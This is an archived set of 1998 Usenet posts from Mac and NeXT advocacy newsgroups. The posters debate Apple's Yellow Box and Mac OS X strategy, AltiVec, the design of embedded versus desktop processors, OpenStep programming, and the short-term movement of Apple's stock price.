References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <rex-2205980058440001@192.168.0.3> <rmcassid-2205981007210001@dante.eng.uci.edu> <see-below-2205982233210001@209.24.240.37>
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NNTP-Posting-Date: 23 May 1998 05:52:21 GMT
Matthew Vaughan wrote:
> > Apple will support AltiVec when it ships. That seems like a significant
> > WWDC announcement about 3D to me, though you do need to fill in around the
> > edges a bit, I admit.
>
> And AlitVec is an industry standard 3D API in what way?
That's not the point, AltiVec isn't an API, it's a hardware
specification. If OpenGL drivers were written for AltiVec, for instance,
I'm sure Bob's point would be satisfied.
I don't have any idea how capable AltiVec is of fulfilling the
objectives of specialized 3D hardware. Perhaps someone can shed some
light on this. If, indeed, AltiVec can deliver competitive 3D, Bob's
point would be quite well taken. A nagging voice is telling me it ain't
necessarily so...
MJP
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 23:05:27 -0700
Message-ID: <see-below-2205982305280001@209.24.240.37>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM> <joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM> <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net> <35651ADA.FEB13B57@nstar.net> <see-below-2205980229560001@209.24.240.67> <6k3i9g$be9$7@ns3.vrx.net> <35659602.B924CF86@nstar.net> <6k3piu$ii2$2@ns3.vrx.net> <3565BDD3.925B8057@nstar.net> <6k44vt$q7t$1@ns3.vrx.net> <3565EAF0.282C4C33@nstar.net> <4hn91.2272$Kx3.2444773@news.rdc1.sdca.home.com>
In article <4hn91.2272$Kx3.2444773@news.rdc1.sdca.home.com>,
rr6013@yahoo.com wrote:
> In <3565EAF0.282C4C33@nstar.net> "Michael J. Peck" wrote:
>
> > But it *is* a separate issue: the original excitement, the kickstart,
> > that's what I'm talking about. Yellow Box has been nothing but a cold
> > fish. I understand some of the intricacies of Jobs' position, but
> > c'mon...
>
> Apple has neither Street Cred or Cashflow to rip-off Java's marketing coup.
Ah...but what if Yellow Box became associated with Java, or even somehow
marketed as _part of_ or an _extension of_ Java? Then Apple isn't relying
on their own credibility at all. (Of course, they're at Sun's mercy
here...)
As for the cash issue, yes, they'd probably need a lot of cooperation and
help from others to get it on their respective platforms. Again, perhaps
some kind of open-sourcing is key here. Isn't OpenStep already an "open"
standard? So long as Apple also releases all the specs for additions made
in Yellow Box, and makes some pretty public commitments to getting it
"everywhere" - _especially_ on the smaller/less-significant platforms (all
the free unix variants, and whatnot), I could see a lot of people getting
pretty excited about it. But so long as Apple's keeping it all to
themselves--as a Mac solution--nobody else is going to lift a finger to
help them.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sat, 23 May 1998 05:59:31 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <356665C3.1160B3FF@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM> <joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM> <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net> <35651ADA.FEB13B57@nstar.net> <see-below-2205980229560001@209.24.240.67> <6k3i9g$be9$7@ns3.vrx.net> <35659602.B924CF86@nstar.net> <6k3piu$ii2$2@ns3.vrx.net> <3565BDD3.925B8057@nstar.net> <6k44vt$q7t$1@ns3.vrx.net> <3565EAF0.282C4C33@nstar.net> <see-below-2205982256230001@209.24.240.37>
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NNTP-Posting-Date: 23 May 1998 06:04:11 GMT
Matthew Vaughan wrote:
[cut]
> Yes. But it doesn't need to be as "bone-chilling" as all that, as Mac OS X
> shows --if/when Yellow Box becomes a standard, MacOS (Rhapsody/PPC) will
> probably be the best place to run those programs.
Exactly. They can "milk MacOS" as a *part* of the Yellow Box strategy,
not as an irrelevant predecessor.
MJP
From: William Edward Woody <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Fri, 22 May 1998 22:59:48 -0700
Organization: In Phase Consulting
Message-ID: <356665D4.56F74DC4@alumni.caltech.edu>
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125> <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca> <EtABG0.L64@midway.uchicago.edu> <rmcassid-2005982026030001@dialin9043.slip.uci.edu> <35642DA3.5747E5F9@milestonerdl.com> <rmcassid-2105981001230001@dante.eng.uci.edu> <356561CF.45D64701@milestonerdl.com>
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m rassbach wrote:
> What part of less than 10% of market, or 4% of PC sales don't you
> understand?
>
> You are living in denial, if you don't believe the Macintosh is a Niche
> hardware product.
Currently SUVs (Sports Utility Vehicles) outsell traditional automobiles.
So apparently, by your logic, traditional automobiles are dying and
becomming a nitch product.
I hope you drive an SUV--it would be a bitch sticking with a clearly
inferior nitch product.
- Bill
(Who notes that Apple is doing what most computer manufacturers have
been utterly unable to do in this current economic environment: increase
it's profitability.)
--
William Edward Woody | In Phase Consulting
woody@alumni.caltech.edu | Macintosh & MS Windows Development
http://www.alumni.caltech.edu/~woody | http://www.pandawave.com/
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 23 May 1998 06:07:38 GMT
Organization: I don't think so
Message-ID: <slrn6mcq8v.7f0.jason@jhste1.dyn.ml.org>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net> <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us> <35666214.339DA7D@nstar.net>
Michael J. Peck posted the following to comp.sys.mac.advocacy:
>Another interesting point is that most people I know who use Microsoft
>solutions have also used alternatives. They hate them. When I worked in
>a mixed Solaris/Windows environment at FedEx, all of the Windows users
>hated Unix because they had higher expectations based on their use of
>Windows. Their expectations differed from mine fundamentally, but that's
>basically immaterial. Using vi, for instance, didn't meet with their
>needs.
You do know that vi is not the only editor available for UNIX, of
course. Why not give them NEdit? - it's really nice, and would work
well for people who can't handle vi (and NEdit's much less confusing
than emacs).
--
In my opinion MS is a lot better at making money than it is at making
good operating systems.
-- Linus Torvalds (http://www.twics.com/~tlug/linus.html)
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NXHosting is dead ?
Date: Sat, 23 May 1998 00:36:49 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2305980036500001@dialin9223.slip.uci.edu>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com> <od871.624$Fi2.704485@news.rdc1.sdca.home.com> <1d96usd.idlupin1ddc8N@sextans133.wco.com> <t6P71.4084$Fi2.1738179@news.rdc1.sdca.home.com> <355FC790.47AFED2F@trilithon.com> <rmcassid-1805981655100001@dante.eng.uci.edu> <CFm91.2270$Kx3.2422317@news.rdc1.sdca.home.com>
In article <CFm91.2270$Kx3.2422317@news.rdc1.sdca.home.com>,
rr6013@yahoo.com wrote:
> In <rmcassid-1805981655100001@dante.eng.uci.edu> Robert Cassidy wrote:
> > Other predictions, but less thought out:
> >
> > I wouldn't be too surprised to see $27.5 near term, but nothing lower.
>
> AAPL $27 5/16 today... whoops! One down :-)
One down is right. Do we buy or not? Will it only be one down, or will the
next one go as well... hmm. Damn, this is fun stuff!
> Mike Paquette, stated options were driving the price lower, earlier! Any
> options driving this stock slide? Someone posted that WWDC was over the
heads
> of most investors. AAPL's lost 4 pts. since WWDC Monday. Notice it's first
> time AAPL hasn't held its price against a down market?
It was options. Clearly. It was also bad media handling by Apple during
WWDC. It was over the heads of most investors, but the message got too
mixed up near term. Long term it should settle out. People will focus on
new apps and a new OS and forget about the perceived change in direction.
I think the continued downward pressure comes from large short positions,
a bad BusinessWeek article and a HORRENDOUS Forbes one (something is
seriously out of whack at Forbes for that one), plus UMAX claiming a $1B
in losses over Mac cloning. It hasn't been the best week for Apple. #4 in
unit sales (above IBM, no less) should perk things up a bit, however. The
short positions are the hardest to take. They really drag things down
unless something big hits to squeeze and I just don't get the mentality.
Maybe 150% in 4 months is just too much from crappy ol' Apple.
> Another *new* strategy to save Apple Computer, No Wintel plan, No
> cross-platform strategy, an additonal 18 mos. to implement "the strategy" and
> a Jetsonesque effervescent state-of-the-art INTERNET machine engineered with
> "less than state-of-the-art connectivity" were not lost on the Street, guys.
True on all points. Hence the lack of surprise that we are back at $27+.
And yet some of it just doesn't sit right with me. All indications are
that the iMac *will* have state-of-the-art connectivity when it ships, so
why intro saying that it won't? We should have a _Win_tel plan soonish,
even now if we wanted, 'we'll ship no press releases until their time',
perhaps? Price cuts before the quarter is out plus a speed bump, I think.
I think there's some good coming that we are overlooking because of all
the WWDC residuals to deal with.
> > Rebound to the 30's within 2-3 weeks. $35 before Macworld, $38 before
> > earnings, slow runup to $45 as weak 1998 quarters are behind and big Q4
> > iMac earnings are ahead. Watch for upgrades this quarter.
> >
> > Likely market meltdown could lower all predictions by $5-$10.
>
> Market price is down $4 now, this is a meltdown? What will it do when the
> exchange knocks 200 points off?
No, a meltdown would knock my _predictions_ down by $5-$10 more. Had it
occurred this week, I wouldn't be suprised to see us at $17-$22 now as a
result. I did say I wouldn't be surprised to see 27.5 even without a
meltdown, and I'm not surprised.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Sat, 23 May 1998 00:38:59 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2305980038590001@dialin9223.slip.uci.edu>
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125> <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca> <EtABG0.L64@midway.uchicago.edu> <rmcassid-2005982026030001@dialin9043.slip.uci.edu> <35642DA3.5747E5F9@milestonerdl.com> <rmcassid-2105981001230001@dante.eng.uci.edu> <356561CF.45D64701@milestonerdl.com>
In article <356561CF.45D64701@milestonerdl.com>, m rassbach
<mark@milestonerdl.com> wrote:
> What part of less than 10% of market, or 4% of PC sales don't you understand?
>
> You are living in denial, if you don't believe the Macintosh is a Niche
> hardware product.
I do belive it is a niche product. I don't see how everything is some kind
of paranoid conspiracy, smoke screen, or bait-and-switch, however.
-Bob Cassidy
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 23:22:38 -0700
Message-ID: <see-below-2205982322380001@209.24.240.37>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM> <joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM> <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net> <35651ADA.FEB13B57@nstar.net> <Rgj91.2242$Kx3.2305088@news.rdc1.sdca.home.com>
In article <Rgj91.2242$Kx3.2305088@news.rdc1.sdca.home.com>,
rr6013@yahoo.com wrote:
> In <35651ADA.FEB13B57@nstar.net> "Michael J. Peck" wrote:
>
> > See what I'm saying?
>
> Absolutely... just that it didn't help NeXT, much.
>
> I would've thought with Sun, HP on-board the OPENSTEP initiative that
> cross-platform would have taken off. It didn't. The mfg'rs all but ignored
> it. I don't have the answers. You obviously being on the inside aren't
> seeing the logic in HP dropping out of OPENSTEP.
>
> > That's what's so exciting about Yellow Box!! It *fixes* all of that by
> > providing not only a cross-platform solution, but an *excellent*
> > cross-platform solution. So when I hear that Yellow Box is just going to
> > be a great MacOS API, I want to vomit! What a waste!
>
> So what you have now is Linux, GnuStep ground-up projects. These are the
> people still carrying the torch. All the mfgr's have lost interest in
> cross-platform. Now Apple looks on the verge of joining the rest, too.
Good point. If HP doesn't want it anymore, then perhaps linux etc. are
really the places to go. But I wouldn't be surprised if the workstation
manufacturers came back on board (or at least endorsed it) if it looked
like it were catching on in other unix markets.
I would think the big one to convince would be Sun, so it can be linked
with Java. If it really were available everywhere Java is (this is the big
catch, that requires getting everyone on board), then it might help solve
some of the problems Java's having in living up to its initial promise.
The fact that it didn't work once doesn't necessarily mean it couldn't
work this time. Compared to five years ago, a lot of things are different:
1) Next didn't have the resources of a big company like Apple to achieve
its goals. While this may be of questionable value, it's much better than
nothing. Just look at how much Yellow Box and Rhapsody are progressing.
2) Five years ago the workstation vendors were still flying high, but now
they're beleagured, under the withering assault of NT. It may be that
they've just given up, and are in the process of being assimilated, but if
they have any life left in them at all, they may be eager to grab whatever
hopeful initiative comes along. It's their last chance to exert any
independance from Microsoft, and try to "save" the computer industry.
3) Microsoft wasn't facing anti-trust action five years ago. This means
Microsoft has less leeway to stamp out any such initiative, and also means
other vendors may have increased hope for "life after Microsoft."
4) Java didn't exist five years ago. It's got a lot of momentum behind it.
I think things _can_ be different enough for this to work, even if it
didn't before.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: William Edward Woody <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Fri, 22 May 1998 23:12:34 -0700
Organization: In Phase Consulting
Message-ID: <356668D2.BFB206DD@alumni.caltech.edu>
References: <joe.ragosta-2105980831500001@wil111.dol.net> <B189AF72-1DB71@206.165.43.125> <joe.ragosta-2105981340080001@wil125.dol.net> <see-below-2105981612370001@209.24.241.47> <joe.ragosta-2105982051550001@elk126.dol.net> <see-below-2105981906100001@209.24.241.47> <356564CF.B5BC821A@milestonerdl.com>
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m rassbach wrote:
> What is one of the big markets for motorola? Communications, was radios,
> now phones. What drives phone switches? Microprocessors. There is NO
> reason why Motorola couldn't make a design that served BOTH the 'embedded'
> and the 'general' market.
Don't understand hardware design, right?
No prob; I don't mind helping out.
While the core of an embedded processor and a processor used on the
desktop are often the same, the external interface of embedded processors
tend to be substantially different. That's because the overall design
criteria for embedded projects and desktop computers are substantially
different.
Desktop processors try to achieve the highest performance possible.
Often desktop systems ship in large volume; this means that the external
bus interface on the processor chip tend to have wide data busses,
and the address lines tend to deliver signals to support external
L2 caches and more exotic memory accessing schemes. Because desktop
units ship in large volumes (anything more than 10,000 units is
large, by the way--4% of the PC market is staggeringly huge), cost
per unit can be reduced through designing specialized chips to
help reduce chip count.
Embedded processors, on the other hand, don't have the luxury of
shipping in large volumes or being able to use more exotic addressing
modes which require wide data busses or large chip counts. Often
embedded processors are used in conjunction with one ROM and one
RAM chip in order to reduce the overall chip count to 3.
Because of this, embedded processors have radically simplified
external addressing modes. Some of the more expensive embedded
processors also have extra pins used to support hardware-level
debugging of software. And most embedded processors have narrower
data lines in order to support less expensive external memory.
Many embedded processors even support on-board ROM masks or on-board
EEPROMs and come with a few kilobytes of on-board RAM. One embedded
project I worked on used a Motorola processor which even came with
addressable bus pins which could be reconfigured for other purposes:
the final project's chip count was only 1: the processor with on-board
RAM and ROM.
In short, Desktop processors and processors designed for embedded
purposes often have radically different external interfaces to
address what are radically different markets.
To suggest then that Motorola could create a "one design serves
all" is naive.
- Bill
--
William Edward Woody | In Phase Consulting
woody@alumni.caltech.edu | Macintosh & MS Windows Development
http://www.alumni.caltech.edu/~woody | http://www.pandawave.com/
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy
Subject: Re: future of mac programming
Date: 23 May 1998 04:29:49 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k61dt$ae5$1@crib.bevc.blacksburg.va.us>
References: <6j84dp$vln$1@crib.bevc.blacksburg.va.us> <1998052308052000.EAA21989@ladder01.news.aol.com>
In article <1998052308052000.EAA21989@ladder01.news.aol.com>, larrysb@aol.com (LarrySB) wrote:
> [I wrote:]
> <<<
> Better advice: if you're writing a new app, forget the Mac API.
> OpenStep is infinitely better. Might as well develop good habits from
> the beginning, and not waste your time.
> >>>
> Oh bullshit.
> There are plenty of cases where OpenStep just plain sux.
Okay, give me some examples where the Mac API is better. Go ahead
and produce some reasons why I'd rather use it over OpenStep.
All you produced was a bunch of whining about how you can't do anything
outside the lines, which is of course patently ludicrous, not to mention
completely unsubstantiated. Sure, the frameworks don't _help_ you very
much to do things they weren't designed to do (though OpenStep is still
unusually flexible in that regard), but they don't go out of their way
to make those things _harder_ -- i.e., harder than it would be _without_
a framework. If worse comes to worst, you simply end up not using the
framework for some portion of your code, and you don't end up any worse
than before.
> Also, OpenStep can be quite s l o w, even on fast hardware. I've run it on
> Pentium Pro 200's, PowerMac 604e/200's and G3/266's. It's slow. Not the Unix
> part, but the yellowbox part is slow. Even the current bluebox is more
> responsive than the Yellowbox. I had reserved all judgement until I got DR2,
> but that's my opinion. It positively crawls.
I don't know what the heck you're running, but OpenStep is quite _fast_.
I haven't compared it to MacOS, not having a Mac, but it's certainly
faster than Windows 95 or NT, and I find it quite responsive even on
my Pentium/120. (At least OPENSTEP 4.2; I don't have DR2 yet and DR1
is no comparison.) Are you telling me that you've tried DR2 (not DR1)
and still think it "positively crawls"?? In what respect do you think
Yellow Box is slow, and what did you run to form that opinion? Are you
running on a RAM-starved machine or have a really high bit depth?
> What if you already have significant investment in application code, or even
> libraries of domain specific code built up over years of development?
That's why I said NEW apps, which is what the original poster was
interested in -- he was interested in Rhapsody/MacOS X programming and,
of the two, wanted to know which he should learn. I can't think of a
compelling reason for him to spend time learning the Carbon APIs if he's
interested in MacOS X programming and not MacOS 8.x.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
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<35651ADA.FEB13B57@nstar.net> <see-below-2205980229560001@209.24.240.67>
<6k3i9g$be9$7@ns3.vrx.net> <35659602.B924CF86@nstar.net>
<6k3piu$ii2$2@ns3.vrx.net> <3565BDD3.925B8057@nstar.net>
<6k44vt$q7t$1@ns3.vrx.net> <3565EAF0.282C4C33@nstar.net>
<4hn91.2272$Kx3.2444773@news.rdc1.sdca.home.com> <3566403D.95F1C382@nstar.net>
Message-ID: <OWv91.2314$Kx3.2672207@news.rdc1.sdca.home.com>
Date: Sat, 23 May 1998 08:39:10 GMT
NNTP-Posting-Date: Sat, 23 May 1998 01:39:10 PDT
Organization: @Home Network
In <3566403D.95F1C382@nstar.net> "Michael J. Peck" wrote:
> Rex Riley wrote:
> > Apple has neither Street Cred or Cashflow to rip-off Java's marketing
coup.
>
> And Sun's credibility was...what? at the time of the Java introduction?
>
>
It was melting as workstation marketshare couldn't keep ahead of the Intel
juggernaut. Solaris was no Windows competitor, they had just finished
OPENSTEP for Solaris and left it orphaned. Then there appeared this little
skunkworks project... Your point is a good one.
> Anyway, I'm not talking about *amount* of hype, I'm talking about *any*
> hype at all.
>
>
Yawn... a proprietary Apple API for Java? What an oxymoron. There's nothing
real for Java there. Java is all about "freedom". Free to run anywhere. Why
in the hell would these people chain themselves back up to proprietary API's
when they just got free of the OS lock?
What was Real for Java was YB + NXHost on Rhapsody. No hype necessary this
was real, unique and made for a slim client network. I figured this in,
heavily for Apple to surf high on the Java phenom. It would have sold
"systems" not just "hardware". That was a big sea change from their now
onesy - twosey MacOS X strategy.]
Someone had their head up their ass castrating Rhapsody's NXHost balls. Now
they really do have a unic in MacOS X... no lynchpin product technology for
"system" sales and threw away their Java network solution. NXHost is just fine
securitywise for business and departmental servers. That they had not worked
up a business case for NXHost in a Java centric network environment broke my
confidence.
> Gosh, I wonder how "Think Different" money is being spent to enhance the
> public perception of Yellow Box...
>
> (Hint: it's not)
>
It's not, because it's unintelligible... this Yellow thing, a box you call
it? Yellow Box was Geekfood. The whole metaphor was engineering notes from
chalkboard discussions released for mere mortal consumption. Why would Apple
choose its key technology color "Yellow"? Gold? Yeah... Platinum, Silver,
Gallium anything but Yellow ( thank you Willie N. )
> > But Yellow Box is a "thing" again. The trick is to package this into a
> > marketable (read profitable) product suite. I thought that this was
wired
> > from the day Apple bought NeXT up until WWDC98 Monday. It is glaringly
> > obvious that MacOS grabbed mindwidth and squoze it out of the RhapsodyDNA.
> > Now we have MacOS X retro-buzz.
> >
> > Maybe Jobs bought a BMW Z3 and liked it. What the hell, why not
retro-grade
> > the Mac? Voila, MacOS X... its all the rage.
>
> Ai, you're so depressing. Cheer up, Rex :-) There's a big picture here,
> and it can still be a pretty one.
>
>
I'm not depressed, I'm miffed. I dumped my whole portfolio of AAPL to get the
message across. I've challenged Mike Paquette on how the Street views the
WWDC changes. I've downloaded my brain onto this newsgroup. What has happened
to the Big Picture is public knowledge and depressing. I'm not depressed¼
damn it, Apple's Future is. :-)
AAPL stock has shaved off $4 since WWDC Monday's 52 week high of $31.62.
Their MacOS X focus is a real big "white" flag from the bunkers of Cupertino.
Apple is Futurestuck... and the resources just aren't there to do anymore than
save the past. So it's clear the decks, we need to triage the Mac faithful.
Dust off the Ol' MacOS, put lipstick and rouge on her and give her a sexy
name. Maybe someone will dance with us... iMac ! SONY? anybody? 1 800
For Sale
If we see clusterfucks from Apple, just attribute them to driving the stock
price down. BusinessWeek's "Back to the Future" spin was a good starter.
The pretty picture is not going to happen with Apple alone. Instead of
wasting cycles on csna, chime in on HP, Sun, SGI, Compaq, IBM. Broker a
consortium to acquire Apple's technologies on the condition of an SHARED
SOURCE basis. Everyone in the consortium gets OPENSTEP, MacOS, WebObjects,
EOF and IB to solidify the group's market position vis a vis Windows. Now
move that technology base forward as a group together with all the strengths
of consortium member's existing technologies.
That's what I would do if someone had half a clue to listen from a trench rat.
That or some semblence of that accomplished, I can then see a re-sell of the
deal. Repackage the consortium to the SONY's of this World with the
distribution, marketing, brand and consumer market. This then could be
Apple's future spun back off and the consortium reap the benefits of a
homogenous computing playing field.
I have NO idea but WAGuesstimates ~ $X should get Apple tucked under the
consortium. Reconstituted with the accoutrements of the consortium the deal
could be repackaged for SONY consumption in the $3X range over n years.
Salvage value of Apple spun back into independence with consumer Mac products
$2X. Effect? MS marketshare limited to vestigial Windows, NT cornered into a
departmental server, CE stopped at the palmtop and Java everywhere.
That deal I can see as real healthy for the computing industry, consumers,
Apple and Java. There is no way in hell DOJ will do anything but WINK in
light of their Windows litigation. That is the deal that will change
computing, save Apple, make Jobs legacy secure, shore up Java, strengthen
non-MS marketshare and flood consumer appliance choice into the World economy.
I'm far from depressed, miffed but only as juice to get a richer view of the
options.
-r
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NXHosting is dead ?
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<355C6969.6907242B@trilithon.com> <od871.624$Fi2.704485@news.rdc1.sdca.home.com>
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<355FC790.47AFED2F@trilithon.com> <rmcassid-1805981655100001@dante.eng.uci.edu>
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Message-ID: <hJw91.2319$Kx3.2686214@news.rdc1.sdca.home.com>
Date: Sat, 23 May 1998 09:33:01 GMT
NNTP-Posting-Date: Sat, 23 May 1998 02:33:01 PDT
Organization: @Home Network
In <rmcassid-2305980036500001@dialin9223.slip.uci.edu> Robert Cassidy wrote:
> In article <CFm91.2270$Kx3.2422317@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com wrote:
>
> > In <rmcassid-1805981655100001@dante.eng.uci.edu> Robert Cassidy wrote:
>
> > > Other predictions, but less thought out:
> > >
> > > I wouldn't be too surprised to see $27.5 near term, but nothing lower.
> >
> > AAPL $27 5/16 today... whoops! One down :-)
>
> One down is right. Do we buy or not? Will it only be one down, or will the
> next one go as well... hmm. Damn, this is fun stuff!
>
Depends upon how well you sleep at night. The idea is to protect the profits
you earned. Then rebuild anew with your gains. AAPL's blown off 10%+ here in
a week¼ nothing wrong with buying some more if you think it will go up. Like
an old Farmer and his Almanac, I think we're in for a long hot summer...
> > Mike Paquette, stated options were driving the price lower, earlier! Any
> > options driving this stock slide? Someone posted that WWDC was over the
> heads
> > of most investors. AAPL's lost 4 pts. since WWDC Monday. Notice it's
first
> > time AAPL hasn't held its price against a down market?
>
> It was options. Clearly. It was also bad media handling by Apple during
> WWDC. It was over the heads of most investors, but the message got too
> mixed up near term. Long term it should settle out. People will focus on
> new apps and a new OS and forget about the perceived change in direction.
>
No, Mac loyals will focus on new apps and the new OS and the Street will
forget about Apple.
> I think the continued downward pressure comes from large short positions,
> a bad BusinessWeek article and a HORRENDOUS Forbes one (something is
> seriously out of whack at Forbes for that one), plus UMAX claiming a $1B
> in losses over Mac cloning. It hasn't been the best week for Apple. #4 in
> unit sales (above IBM, no less) should perk things up a bit, however. The
> short positions are the hardest to take. They really drag things down
> unless something big hits to squeeze and I just don't get the mentality.
> Maybe 150% in 4 months is just too much from crappy ol' Apple.
>
Ever wonder what kind of people read that stuff? And you forgot the NYTimes
excellent WWDC coverage on the front page of the Net. I think mentality is
driving the stock price not options. You don't have to get the mentality. I
sure don't see anyone running out and buying AAPL after this splash of bad
ink.
> > Another *new* strategy to save Apple Computer, No Wintel plan, No
> > cross-platform strategy, an additonal 18 mos. to implement "the strategy"
and
> > a Jetsonesque effervescent state-of-the-art INTERNET machine engineered
with
> > "less than state-of-the-art connectivity" were not lost on the Street,
guys.
>
> True on all points. Hence the lack of surprise that we are back at $27
> And yet some of it just doesn't sit right with me. All indications are
> that the iMac *will* have state-of-the-art connectivity when it ships, so
> why intro saying that it won't? We should have a _Win_tel plan soonish,
> even now if we wanted, 'we'll ship no press releases until their time',
> perhaps? Price cuts before the quarter is out plus a speed bump, I think.
> I think there's some good coming that we are overlooking because of all
> the WWDC residuals to deal with.
>
>
.. residuals, huh? Is that like options? :-) Or like wanting to find the
good in the bad?
> > > Rebound to the 30's within 2-3 weeks. $35 before Macworld, $38 before
> > > earnings, slow runup to $45 as weak 1998 quarters are behind and big Q4
> > > iMac earnings are ahead. Watch for upgrades this quarter.
> > >
> > > Likely market meltdown could lower all predictions by $5-$10.
> >
> > Market price is down $4 now, this is a meltdown? What will it do when the
> > exchange knocks 200 points off?
>
> No, a meltdown would knock my _predictions_ down by $5-$10 more. Had it
> occurred this week, I wouldn't be suprised to see us at $17-$22 now as a
> result. I did say I wouldn't be surprised to see 27.5 even without a
> meltdown, and I'm not surprised.
>
>
Granted that makes three of us, Mike saw the options thing. Looks like the
media is going to help burn off any "hype" factored into the stock price.
Now, where that leaves AAPL when its over is anyones guess. I'm targeting $22
as the next resistance level with a summer timeframe. Maybe that gets
accelerated a bit now.
-r
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NXHosting is dead ?
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Message-ID: <rmx91.2320$Kx3.2696496@news.rdc1.sdca.home.com>
Date: Sat, 23 May 1998 10:16:55 GMT
NNTP-Posting-Date: Sat, 23 May 1998 03:16:55 PDT
Organization: @Home Network
In <1d9gfyb.1w51ox217xwayoN@phoenix62.wco.com> Mike Paquette wrote:
> Rex Riley <rriley@yahoo.com> wrote:
>
> > APL $27 5/16 today... whoops! One down :-)
> >
> > Mike Paquette, stated options were driving the price lower, earlier! Any
> > options driving this stock slide? Someone posted that WWDC was over the
heads
> > of most investors. AAPL's lost 4 pts. since WWDC Monday. Notice it's
first
> > time AAPL hasn't held its price against a down market?
>
> The drop early Friday coincided with a news (real, not USENET) article
> describing how UMAX was losing money in the Mac clone market. The stock
> recovered slightly, then dropped on news of possible distribution
> channel cutbacks. Volume on the day was moderate.
>
